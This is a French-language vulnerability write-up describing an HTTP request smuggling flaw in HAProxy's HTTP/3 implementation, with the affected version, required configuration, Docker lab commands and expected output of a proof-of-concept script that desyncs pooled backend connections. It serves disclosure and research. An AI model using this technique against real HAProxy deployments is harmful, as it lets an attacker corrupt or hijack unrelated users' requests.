
Un paquet QUIC de zéro octet suffit pour désynchroniser le pool de connexions backend de HAProxy et faire passer en contrebande des requêtes HTTP entre des utilisateurs sans lien entre eux — même des utilisateurs sur un protocole frontend complètement différent.
Article complet ici : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Une vulnérabilité dans l'implémentation HTTP/3 de HAProxy permet à un attaquant d'envoyer une requête HTTP avec un en-tête Content-Length qui ne correspond pas à la taille réelle du corps. HAProxy transmet cette requête malformée au backend via HTTP/1.1 avec le Content-Length déclaré mais zéro octet de corps. Lorsque le backend envoie une réponse anticipée (par exemple, une redirection 301) et vide le corps en attente de la connexion TCP, il consomme des octets appartenant à la prochaine requête HTTP sur cette connexion — qui peut provenir d'un autre utilisateur.
Cela entraîne un trafic HTTP request smuggling entre utilisateurs via le pool de connexions backend de HAProxy.
Affecté : HAProxy avec prise en charge QUIC/H3 (USE_QUIC=1). Testé sur HAProxy 3.0.18.
Configuration requise : http-reuse always (non défaut, mais courant en production)
Docker Compose avec 3 services :
http-reuse always)autoindex on sur le répertoire /photos, /status renvoie 200# 1. Démarrer le laboratoire (la compilation de HAProxy prend ~10 min la première fois)
cd poc/
docker compose up -d --build
# 2. Exécuter le PoC en mode continu
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. Depuis un navigateur, accéder à https://<host>:10002/status
# (accepter le certificat auto-signé, utiliser --ignore-certificate-errors dans Chrome)
# Actualiser plusieurs fois. ~50 % des réponses seront des 400 Bad Request.
# 4. Arrêter le PoC (Ctrl+C). Toutes les réponses du navigateur reviennent à la normale (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Sortie attendue :
[1] Envoi de la requête empoisonnée (H3/QUIC)...
-> 301 reçu. Connexion backend mise en commun avec vidage du corps en attente.
[2] Attente de 0,5 s pour que HAProxy mette la connexion en commun...
[3] Envoi de la requête victime GET /status depuis une connexion QUIC SÉPARÉE...
-> Réponse : HTTP 400
[!] SMUGGLING CONFIRMÉ
[!] La victime sur une connexion séparée a obtenu 400 au lieu de 200
[!] Le backend a interprété la requête de la victime comme le corps du POST empoisonné